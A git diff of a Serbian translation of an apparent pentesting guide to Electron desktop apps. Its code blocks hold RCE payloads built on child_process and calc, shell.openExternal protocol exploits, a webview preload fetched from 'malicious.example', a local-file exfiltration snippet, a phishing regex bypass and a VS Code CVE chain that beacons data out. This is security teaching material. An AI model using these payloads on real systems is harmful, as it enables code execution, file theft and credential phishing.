Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-09-29 21:59:50 +00:00
parent cb7a34932b
commit cea17c5fb8

View File

@ -4,27 +4,27 @@
## Uvod ## Uvod
Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki bezbednosni mehanizmi modernih pregledača. Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki sigurnosni mehanizmi modernih pretraživača.
Obično možete pronaći kod Electron aplikacije unutar `.asar` aplikacije; da biste dobili kod, potrebno ga je ekstrahovati: Obično možete naći kod Electron aplikacije unutar `.asar` arhive; da biste dobili kod, potrebno je da je izdvojite:
```bash ```bash
npx asar extract app.asar destfolder #Extract everything npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file npx asar extract-file app.asar main.js #Extract just a file
``` ```
U izvornom kodu Electron aplikacije, u fajlu `packet.json`, možete pronaći navedeni fajl `main.js` u kojem su podešene bezbednosne konfiguracije. U izvornom kodu Electron aplikacije, u datoteci `packet.json`, možete pronaći specificiranu datoteku `main.js` u kojoj su podešene sigurnosne konfiguracije.
```json ```json
{ {
"name": "standard-notes", "name": "standard-notes",
"main": "./app/index.js", "main": "./app/index.js",
``` ```
Electron има 2 типа процеса: Electron ima 2 tipa procesa:
- Главни процес (има пун приступ NodeJS) - Main Process (ima potpuni pristup NodeJS-u)
- Рендерер процес (требало би да има ограничен приступ NodeJS из безбедносних разлога) - Renderer Process (trebalo bi da ima ograničen pristup NodeJS-u iz bezbednosnih razloga)
![](<../../../images/image (182).png>) ![](<../../../images/image (182).png>)
Рендерер процес ће бити прозор прегледача који учитава фајл: A **renderer process** biće prozor pregledača koji učitava fajl:
```javascript ```javascript
const { BrowserWindow } = require("electron") const { BrowserWindow } = require("electron")
let win = new BrowserWindow() let win = new BrowserWindow()
@ -32,20 +32,20 @@ let win = new BrowserWindow()
//Open Renderer Process //Open Renderer Process
win.loadURL(`file://path/to/index.html`) win.loadURL(`file://path/to/index.html`)
``` ```
Podešavanja **renderer process** mogu se **konfigurisati** u **main process** unutar fajla main.js. Neka od podešavanja mogu **sprečiti da Electron application dobije RCE** ili druge ranjivosti ako su **podešavanja pravilno konfigurisana**. Podešavanja **renderer process** mogu se **konfigurisati** u **main process** u fajlu main.js. Neka od podešavanja mogu **sprečiti Electron application da dobije RCE** ili druge ranjivosti ako su **podešavanja pravilno konfigurisana**.
Electron application može **pristupiti uređaju** preko Node apis, iako se to može konfigurisati da se spreči: The electron application **could access the device** via Node apis although it can be configure to prevent it:
- **`nodeIntegration`** - podrazumevano je `off`. Ako je `on`, omogućava pristup Node funkcijama iz renderer process. - **`nodeIntegration`** - je `off` po defaultu. Ako je uključen, omogućava pristup node funkcijama iz renderer procesa.
- **`contextIsolation`** - podrazumevano je `on`. Ako je `off`, main i renderer processes nisu izolovani. - **`contextIsolation`** - je `on` po defaultu. Ako je `off`, main i renderer procesi nisu izolovani.
- **`preload`** - podrazumevano prazan. - **`preload`** - prazan po defaultu.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - podrazumevano je `off`. Ograničava akcije koje NodeJS može izvršavati. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - je `off` po defaultu. Ograničiće akcije koje NodeJS može izvršavati.
- Node Integration u Worker-ima - Node Integration u Workers
- **`nodeIntegrationInSubframes`** - podrazumevano je `off`. - **`nodeIntegrationInSubframes`** - je `off` po defaultu.
- Ako je **`nodeIntegration`** **omogućen**, to bi dozvolilo korišćenje **Node.js APIs** na web stranicama koje su **učitane u iframe-ovima** unutar Electron application. - Ako je **`nodeIntegration`** **enabled**, to bi omogućilo korišćenje **Node.js APIs** na web stranicama koje su **učitane u iframes** unutar Electron application.
- Ako je **`nodeIntegration`** **onemogućen**, onda će se preload-ovi učitavati u iframe-u - Ako je **`nodeIntegration`** **disabled**, tada će preloads biti učitani u iframe
Primer konfiguracije: Example of configuration:
```javascript ```javascript
const mainWindowOptions = { const mainWindowOptions = {
title: "Discord", title: "Discord",
@ -71,7 +71,7 @@ spellcheck: true,
}, },
} }
``` ```
Neki **RCE payloads** sa [here](https://7as.es/electron/nodeIntegration_rce.txt): Neki **RCE payloads** iz [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html ```html
Example Payloads (Windows): Example Payloads (Windows):
<img <img
@ -97,13 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
``` ```
### Presretanje saobraćaja ### Presretanje saobraćaja
Izmenite start-main konfiguraciju i dodajte upotrebu proxy-a kao na primer: Izmenite konfiguraciju start-main i dodajte korišćenje proxy-ja, na primer:
```javascript ```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
``` ```
## Lokalna injekcija koda u Electronu ## Electron Local Code Injection
Ako možete lokalno pokrenuti Electron App, moguće je da ćete ga naterati da izvrši proizvoljni JavaScript kod. Pogledajte kako u: Ako možete lokalno izvršiti Electron App, moguće je da biste ga mogli naterati da izvrši proizvoljan javascript kod. Pogledajte kako u:
{{#ref}} {{#ref}}
@ -112,7 +112,7 @@ Ako možete lokalno pokrenuti Electron App, moguće je da ćete ga naterati da i
## RCE: XSS + nodeIntegration ## RCE: XSS + nodeIntegration
Ako je **nodeIntegration** postavljen na **on**, JavaScript web stranice može lako koristiti Node.js funkcije jednostavnim pozivanjem `require()`. Na primer, način da se pokrene aplikacija calc na Windowsu je: Ako je **nodeIntegration** podešen na **on**, JavaScript na web stranici može lako da koristi Node.js funkcionalnosti jednostavno pozivanjem `require()`. Na primer, način da se pokrene aplikacija calc na Windows-u je:
```html ```html
<script> <script>
require("child_process").exec("calc") require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload ## RCE: preload
Skript naznačen u ovom podešavanju je **učitan pre ostalih skripti u renderer-u**, pa tako ima **neograničen pristup Node APIs**: Skript naveden u ovom podešavanju je **učitan pre drugih skripti u rendereru**, tako da ima **neograničen pristup Node APIs**:
```javascript ```javascript
new BrowserWindow{ new BrowserWindow{
webPreferences: { webPreferences: {
@ -133,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
} }
}); });
``` ```
Dakle, skripta može da izveze node-features u stranice: Dakle, skripta može izvoziti node-features na stranice:
```javascript:preload.js ```javascript:preload.js
typeof require === "function" typeof require === "function"
window.runCalc = function () { window.runCalc = function () {
@ -149,20 +149,20 @@ runCalc()
</script> </script>
</body> </body>
``` ```
> [!NOTE] > **Ako je `contextIsolation` uključen, ovo neće radati** > [!NOTE] > **Ako je `contextIsolation` uključen, ovo neće raditi**
## RCE: XSS + contextIsolation ## RCE: XSS + contextIsolation
The _**contextIsolation**_ uvodi **odvojene kontekste između skripti web stranice i internog JavaScript koda Electron-a** tako da izvršavanje JavaScript koda jedne strane ne utiče na drugu. Ovo je neophodna funkcija kako bi se eliminisala mogućnost RCE. _**contextIsolation**_ uvodi **odvojene kontekste između skripti web stranice i unutrašnjeg JavaScript koda Electrona** tako da izvršavanje JavaScript-a jednog koda ne utiče na drugi. Ovo je neophodna funkcija za eliminisanje mogućnosti RCE.
Ako konteksti nisu izolovani, napadač može: Ako konteksti nisu izolovani, napadač može:
1. Izvršiti **arbitrary JavaScript in renderer** (XSS ili navigacija ka eksternim sajtovima) 1. Izvršiti **arbitrary JavaScript in renderer** (XSS ili navigaciju ka eksternim sajtovima)
2. **Prepisati ugrađenu metodu** koja se koristi u preload-u ili u internom Electron kodu da bi preuzeo kontrolu nad funkcijom 2. **Prepisati ugrađenu metodu** koja se koristi u preload ili unutrašnjem Electron kodu da bi se preuzela kontrola nad funkcijom
3. **Pokrenuti** korišćenje **prepisane funkcije** 3. **Pokrenuti** upotrebu **prepisane funkcije**
4. RCE? 4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: Postoje 2 mesta gde ugrađene metode mogu biti prepisane: u preload kodu ili u unutrašnjem Electron kodu:
{{#ref}} {{#ref}}
@ -179,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md electron-contextisolation-rce-via-ipc.md
{{#endref}} {{#endref}}
### Zaobilaženje događaja klika ### Zaobilaženje click event-a
Ako postoje ograničenja koja se primenjuju kada kliknete na link, možda ih možete zaobići **srednjim klikom** umesto regularnog levog klika Ako su primenjena ograničenja prilikom klika na link, možda ih možeš zaobići **srednjim klikom** umesto regularnog levog klika
```javascript ```javascript
window.addEventListener('click', (e) => { window.addEventListener('click', (e) => {
``` ```
## RCE putem shell.openExternal ## RCE via shell.openExternal
Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Prilikom raspoređivanja Electron desktop aplikacije, ključno je osigurati ispravna podešavanja za `nodeIntegration` i `contextIsolation`. Uspostavljeno je da **client-side remote code execution (RCE)** koja cilja preload scripts ili Electron's native code iz main process-a bude efikasno sprečena kada su ova podešavanja aktivna. Prilikom objavljivanja Electron desktop aplikacije, ključno je osigurati ispravna podešavanja za `nodeIntegration` i `contextIsolation`. Uspostavljeno je da **client-side remote code execution (RCE)** usmereno na preload skripte ili native kod Electrona iz glavnog procesa biva efikasno onemogućeno kada su ta podešavanja primenjena.
Kada korisnik interaguje sa linkovima ili otvori novi prozor, aktiviraju se određeni slušači događaja koji su ključni za bezbednost i funkcionalnost aplikacije: Kada korisnik interaguje sa linkovima ili otvori nova prozora, pokreću se određeni event listener-i koji su ključni za bezbednost i funkcionalnost aplikacije:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {} webContents.on("will-navigate", function (event, url) {}
``` ```
Ovi slušači su **prepisani od strane desktop aplikacije** kako bi implementirali sopstvenu **poslovnu logiku**. Aplikacija procenjuje da li navigacioni link treba da se otvori interno ili u eksternom web pregledaču. Odluka se obično donosi kroz funkciju `openInternally`. Ako ova funkcija vrati `false`, to znači da link treba da se otvori eksterno, koristeći funkciju `shell.openExternal`. Ovi listeneri su **prepisani od strane desktop aplikacije** kako bi implementirali sopstvenu **poslovnu logiku**. Aplikacija procenjuje da li treba otvoriti navigisani link interno ili u eksternom web browseru. Odluka se obično donosi pomoću funkcije, `openInternally`. Ako ta funkcija vraća `false`, to znači da link treba otvoriti eksterno, koristeći `shell.openExternal` funkciju.
**Here is a simplified pseudocode:** **Evo pojednostavljenog pseudokoda:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Preporuke za sigurnost Electron JS-a savetuju da se izbegava prihvatanje nepouzdanog sadržaja pomoću funkcije `openExternal`, jer to može dovesti do RCE preko različitih protokola. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalje objašnjenje o ovoj temi, može se pogledati [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobne da iskoriste ovu ranjivost. Najbolje bezbednosne prakse za Electron JS ne preporučuju prihvatanje nepouzdanog sadržaja preko `openExternal` funkcije, jer to može dovesti do RCE-a kroz različite protokole. Operativni sistemi podržavaju različite protokole koji mogu okinuti RCE. Za detaljne primere i dodatno objašnjenje na ovu temu, pogledajte [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobnih da iskoriste ovu ranjivost.
U macos-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi, kao u `shell.openExternal('file:///System/Applications/Calculator.app')`. Na macos-u, `openExternal` funkcija se može iskoristiti za izvršavanje proizvoljnih komandi, kao na primer u `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Primeri Windows protocol exploits uključuju:** **Primeri Windows protokol exploata uključuju:**
```html ```html
<script> <script>
window.open( window.open(
@ -230,15 +230,15 @@ window.open(
``` ```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
This vuln can be found in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. Ova ranjivost se može naći u **[ovom izveštaju](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
The **webviewTag** is a **zastarela funkcija** koja omogućava upotrebu **NodeJS** u **renderer procesu**, i treba biti onemogućena jer dozvoljava učitavanje skripte unutar preload konteksta, na primer: The **webviewTag** je **zastarela funkcija** koja omogućava upotrebu **NodeJS** u **renderer process**, koju treba onemogućiti jer omogućava učitavanje skripte unutar **preload context** kao:
```xml ```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview> <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
``` ```
Dakle, napadač koji uspe da učita proizvoljnu stranicu mogao bi koristiti taj tag da **load an arbitrary preload script**. Dakle, napadač koji uspe da učita proizvoljnu stranicu mogao bi да iskoristi taj tag да **učita proizvoljan preload script**.
Ovaj preload script je potom bio zloupotrebljen da pozove **vulnerable IPC service (`skype-new-window`)** koji je pozivao **`shell.openExternal`** kako bi dobio RCE: Taj preload script je zatim био zloupotrebljen да pozove **ranjivu IPC uslugu (`skype-new-window`)** koja је pozivala **`shell.openExternal`** да би ostvarila RCE:
```javascript ```javascript
(async() => { (async() => {
const { ipcRenderer } = require("electron"); const { ipcRenderer } = require("electron");
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
``` ```
## Čitanje internih fajlova: XSS + contextIsolation ## Čitanje internih fajlova: XSS + contextIsolation
**Isključivanje `contextIsolation` omogućava upotrebu `<webview>` tagova**, sličnih `<iframe>`, za čitanje i iznošenje lokalnih fajlova. Primer prikazan demonstrira kako iskoristiti ovu ranjivost za čitanje sadržaja internih fajlova: **Onemogućavanje `contextIsolation` omogućava upotrebu `<webview>` tagova**, slično `<iframe>`, za čitanje i exfiltrating lokalnih fajlova. Primer u nastavku pokazuje kako iskoristiti ovu ranjivost da se pročita sadržaj internih fajlova:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>) ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Dalje, prikazan je još jedan metod za **čitanje internog fajla**, koji ukazuje na kritičnu lokalnu ranjivost za čitanje fajlova u Electron desktop app. Ovo uključuje ubacivanje skripte da bi se iskoristila aplikacija i izvršila eksfiltracija podataka: Dalje, podeljen je još jedan metod za **čitanje internog fajla**, koji ističe kritičnu ranjivost za lokalno čitanje fajlova u Electron desktop aplikaciji. Ovo uključuje injecting a script to exploit the application and exfiltrate data:
```html ```html
<br /><br /><br /><br /> <br /><br /><br /><br />
<h1> <h1>
@ -273,43 +273,43 @@ frames[0].document.body.innerText
``` ```
## **RCE: XSS + Stari Chromium** ## **RCE: XSS + Stari Chromium**
Ako je **chromium** koji aplikacija koristi **stari**, i postoje **poznate** **vulnerabilities** na njemu, može biti moguće **eksploatisati ga i dobiti RCE kroz XSS**.\ Ako je **chromium** koji aplikacija koristi **zastareo** i postoje **poznate** **ranjivosti** u njemu, možda je moguće **iskoristiti ih i dobiti RCE kroz XSS**.\
Primer možete videti u ovom **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) Možete videti primer u ovom **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass** ## **XSS Phishing via Internal URL regex bypass**
Ako pronađete XSS, ali **ne možete pokrenuti RCE ili ukrasti interne fajlove**, možete pokušati da ga iskoristite za **krađu kredencijala putem phishing-a**. Pretpostavimo da ste pronašli XSS ali ne možete da **pokrenete RCE ili ukradete interne fajlove** — možete pokušati da ga iskoristite da **ukradete kredencijale putem phishinga**.
Pre svega, treba da znate šta se dešava kada pokušate da otvorite novu URL adresu, proverom JS koda u front-endu: Prvo treba da znate šta se dešava kada pokušate da otvorite novi URL, proveravajući JS kod u front-endu:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
``` ```
Poziv **`openInternally`** odlučuje da li će se **link** **otvoriti** u **desktop window** jer pripada platformi, **ili** će biti otvoren u **browser as a 3rd party resource**. Poziv funkcije **`openInternally`** odlučiće da li će **link** biti **opened** u **desktop window** pošto je to link koji pripada platformi, **or** će biti otvoren u **browser as a 3rd party resource**.
U slučaju da je **regex** koji koristi funkcija **vulnerable to bypasses** (na primer **not escaping the dots of subdomains**) napadač bi mogao iskoristiti XSS da **open a new window which** bude lociran na infrastrukturi napadača i **asking for credentials** od korisnika: U slučaju da je **regex** koji funkcija koristi **vulnerable to bypasses** (na primer **not escaping the dots of subdomains**) napadač može iskoristiti XSS da **open a new window which** će se nalaziti na infrastrukturi napadača i **asking for credentials** od korisnika:
```html ```html
<script> <script>
window.open("<http://subdomainagoogleq.com/index.html>") window.open("<http://subdomainagoogleq.com/index.html>")
</script> </script>
``` ```
## `file://` Протокол ## `file://` Protokol
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **прилагођени протокол** спречава овакве проблеме јер можете ограничити протокол да служи само одређени скуп фајлова. Kao što je pomenuto u [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), stranice koje se pokreću preko **`file://`** imaju jednostran pristup svim fajlovima na vašem računaru, što znači da **XSS ranjivosti mogu biti iskorišćene za učitavanje proizvoljnih fajlova** sa korisnikovog računara. Korišćenje **prilagođenog protokola** sprečava ovakve probleme jer možete ograničiti protokol da servira samo određeni skup fajlova.
## Remote module ## Remote module
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks. The Electron Remote module omogućava **renderer processes to access main process APIs**, olakšavajući komunikaciju unutar Electron aplikacije. Međutim, omogućavanje ovog modula uvodi značajne sigurnosne rizike. Povećava površinu napada aplikacije, čineći je podložnijom ranjivostima kao što su cross-site scripting (XSS) napadi.
> [!TIP] > [!TIP]
> Иако **remote** module излаже неке APIs из main-а renderer процесима, није једноставно добити RCE само злоупотребом компоненти. Међутим, компоненте могу открити осетљиве информације. > Iako **remote** modul izlaže neke API-je iz main u renderer processes, nije jednostavno dobiti RCE samo zloupotrebom komponenti. Međutim, komponente mogu otkriti osetljive informacije.
> [!WARNING] > [!WARNING]
> Многе апликације које и даље користе remote module то раде на начин који захтева да **NodeIntegration буде омогућен** у renderer процесу, што је **огроман безбедносни ризик**. > Mnoge aplikacije koje još uvek koriste remote module to rade tako da je potrebno omogućiti **NodeIntegration** u renderer process, što je **ogroman sigurnosni rizik**.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**. Od Electron 14 `remote` module može biti omogućen u nekoliko koraka, ali iz bezbednosnih i performansnih razloga **se preporučuje da se ne koristi**.
To enable it, it'd first needed to **enable it in the main process**: Da biste ga omogućili, prvo je potrebno **enable it in the main process**:
```javascript ```javascript
const remoteMain = require('@electron/remote/main') const remoteMain = require('@electron/remote/main')
remoteMain.initialize() remoteMain.initialize()
@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({
}) })
remoteMain.enable(mainWindow.webContents) remoteMain.enable(mainWindow.webContents)
``` ```
Zatim, renderer proces može da importuje objekte iz modula na sledeći način: Zatim, renderer proces može da uvozi objekte iz modula na sledeći način:
```javascript ```javascript
import { dialog, getCurrentWindow } from '@electron/remote' import { dialog, getCurrentWindow } from '@electron/remote'
``` ```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz remote modula: The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz remote modula:
- **`app.relaunch([options])`** - **`app.relaunch([options])`**
- **Ponovo pokreće** aplikaciju tako što zatvara trenutnu instancu i pokreće novu. Korisno za **ažuriranja aplikacije** ili značajne **promene stanja**. - **Ponovo pokreće** aplikaciju zatvaranjem trenutne instance i pokretanjem nove. Korisno za **ažuriranja aplikacije** ili značajne **promene stanja**.
- **`app.setAppLogsPath([path])`** - **`app.setAppLogsPath([path])`**
- **Definiše** ili **kreira** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **preuzeti** ili **izmeniti** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**. - **Definiše** ili **kreira** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **dobiti** ili **izmeniti** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registruje** trenutni izvršni fajl kao **podrazumevani handler** za navedeni **protokol**. Možete navesti **prilagođenu putanju** i **argumente** po potrebi. - **Registruje** trenutni izvršni fajl kao **podrazumevani rukovalac** za određeni **protokol**. Možete navesti **prilagođenu putanju** i **argumente** po potrebi.
- **`app.setUserTasks(tasks)`** - **`app.setUserTasks(tasks)`**
- **Dodaje** zadatke u kategoriju **Tasks** u **Jump List** (na Windows). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koji **argumenti** se prosleđuju. - **Dodaje** zadatke u kategoriju **Tasks** u **Jump List** (na Windows). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koji se **argumenti** prosleđuju.
- **`app.importCertificate(options, callback)`** - **`app.importCertificate(options, callback)`**
- **Uvozi** PKCS#12 sertifikat u sistemski **certificate store** (samo Linux). **Callback** se može koristiti za obradu rezultata. - **Uvozi** **PKCS#12 certificate** u sistemsko **skladište sertifikata** (samo Linux). Može se koristiti **callback** za obradu rezultata.
- **`app.moveToApplicationsFolder([options])`** - **`app.moveToApplicationsFolder([options])`**
- **Premešta** aplikaciju u fasciklu **Applications** (na macOS). Pomaže da se obezbedi **standardna instalacija** za macOS korisnike. - **Premešta** aplikaciju u **Applications folder** (na macOS). Pomaže da se obezbedi **standardna instalacija** za korisnike macOS-a.
- **`app.setJumpList(categories)`** - **`app.setJumpList(categories)`**
- **Postavlja** ili **uklanja** prilagođeni **Jump List** na **Windows**. Možete navesti **kategorije** da organizujete kako se zadaci prikazuju korisniku. - **Postavlja** ili **uklanja** **prilagođeni Jump List** na **Windows**. Možete navesti **kategorije** da organizujete kako se zadaci pojavljuju korisniku.
- **`app.setLoginItemSettings(settings)`** - **`app.setLoginItemSettings(settings)`**
- **Konfiguriše** koji **izvršni fajlovi** se pokreću pri **prijavi** zajedno sa njihovim **opcijama** (samo macOS i Windows). - **Konfiguriše** koje **izvršne datoteke** se pokreću pri **prijavi** zajedno sa njihovim **opcijama** (samo macOS i Windows).
Example: Primer:
```javascript ```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit() Native.app.exit()
``` ```
## systemPreferences modul ## systemPreferences modul
**Primarni API** za pristup sistemskim podešavanjima i **emitovanje sistemskih događaja** u Electronu. Metode kao što su **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** su sve **deo** ovog modula. **Primarni API** za pristup sistemskim podešavanjima i **emitovanje sistemskih događaja** u Electronu. Metode kao što su **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, i **setUserDefault** su sve **deo** ovog modula.
**Primer upotrebe:** **Primer upotrebe:**
```javascript ```javascript
@ -367,31 +367,31 @@ console.log('Recent Places:', recentPlaces);
``` ```
### **subscribeNotification / subscribeWorkspaceNotification** ### **subscribeNotification / subscribeWorkspaceNotification**
* **Osluškuje** **ugrađene macOS notifikacije** koristeći NSDistributedNotificationCenter. * **Osluškuje** native macOS notifications koristeći NSDistributedNotificationCenter.
* Pre **macOS Catalina**, moglo se prisluškivati **sve** distributed notifications prosleđivanjem **nil** u CFNotificationCenterAddObserver. * Pre macOS Catalina, moglo se sniff-ovati **sve** distributed notifications prosleđivanjem **nil** u CFNotificationCenterAddObserver.
* Posle **Catalina / Big Sur**, sandbox-ovane aplikacije i dalje mogu **pretplatiti se** na **mnoge događaje** (na primer, **zaključavanje/otključavanje ekrana**, **mount-ovanje volumena**, **network activity**, itd.) registrovanjem notifikacija **po imenu**. * Posle Catalina / Big Sur, sandboxed apps i dalje mogu **subscribe**-ovati na **mnoge događaje** (na primer, **screen locks/unlocks**, **volume mounts**, **network activity**, itd.) registrovanjem notifications **po imenu**.
### **getUserDefault / setUserDefault** ### **getUserDefault / setUserDefault**
* **Interfejs** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** preference na macOS. * **Interfejsira** sa NSUserDefaults, koji čuva **application** ili **global** preferences na macOS.
* **getUserDefault** može **preuzeti** osetljive informacije, kao što su **lokacije nedavno otvorenih fajlova** ili **geografska lokacija korisnika**. * **getUserDefault** može **dohvatiti** osetljive informacije, kao što su **lokacije nedavno otvorenih fajlova** ili **geografska lokacija korisnika**.
* **setUserDefault** može **izmeniti** ove preference, potencijalno utičući na **konfiguraciju** aplikacije. * **setUserDefault** može **izmeniti** ove preference, potencijalno utičući na konfiguraciju aplikacije.
* U **starijim verzijama Electron** (pre v8.3.0), samo **standard suite** od NSUserDefaults je bio **dostupan**. * U **starijim verzijama Electron-a** (pre v8.3.0), samo **standard suite** od NSUserDefaults je bio **pristupačan**.
## Shell.showItemInFolder ## Shell.showItemInFolder
Ova funkcija prikazuje dati fajl u file manageru, koji **bi mogao automatski izvršiti fajl**. Ova funkcija prikazuje zadati fajl u file manageru, koji **može automatski izvršiti fajl**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy ## Content Security Policy
Electron apps treba da imaju **Content Security Policy (CSP)** kako bi **sprečili XSS napade**. **CSP** je **bezbednosni standard** koji pomaže da se **spreči** **izvršavanje** **nepouzdanog koda** u browseru. Electron apps treba da imaju **Content Security Policy (CSP)** da bi **sprečili XSS napade**. **CSP** je **security standard** koji pomaže da se **spreči** izvršavanje **nepouzdanog koda** u browser kontekstu.
Obično se **konfiguriše** u fajlu **`main.js`** ili u **`index.html`** template-u sa CSP unutar **meta taga**. Obično se **konfiguriše** u **`main.js`** fajlu ili u **`index.html`** šablonu sa CSP unutar **meta taga**.
For more information check: For more information check:
@ -401,18 +401,41 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}} {{#endref}}
## **Tools** ## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
- [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikovanje misconfigurations i security anti-patterns u Electron-based aplikacijama. Ovaj real-world lanac je pogodio Visual Studio Code 1.63 (CVE-2021-43908) i pokazuje kako jedna markdown-driven XSS u webview-u može eskalirati do potpunog RCE kada su CSP, postMessage i scheme handlers pogrešno konfigurisani. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je open source VS Code plugin za Electron applications koji koristi Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih third party biblioteka
- [**Electro.ng**](https://electro.ng/): Potrebno je kupiti
## Labs Attack chain overview
- First XSS via webview CSP: Generisani CSP je uključivao `style-src 'self' 'unsafe-inline'`, dozvoljavajući inline/style zasnovanu injekciju u `vscode-webview://` kontekstu. Payload je beaconed na `/stealID` da bi exfiltrirao target webviews extensionId.
- Constructing target webview URL: Korišćenjem leak ID za izgradnju `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: Outer webview je verovao `window.postMessage` bez strogih provera origin/type i učitao attacker HTML sa `allowScripts: true`.
- Local file loading via scheme/path rewriting: Payload je prepisao `file:///...` u `vscode-file://vscode-app/...` i zamenio `exploit.md` sa `RCE.html`, zloupotrebljavajući slabu validaciju putanje da učita privilegovani lokalni resurs.
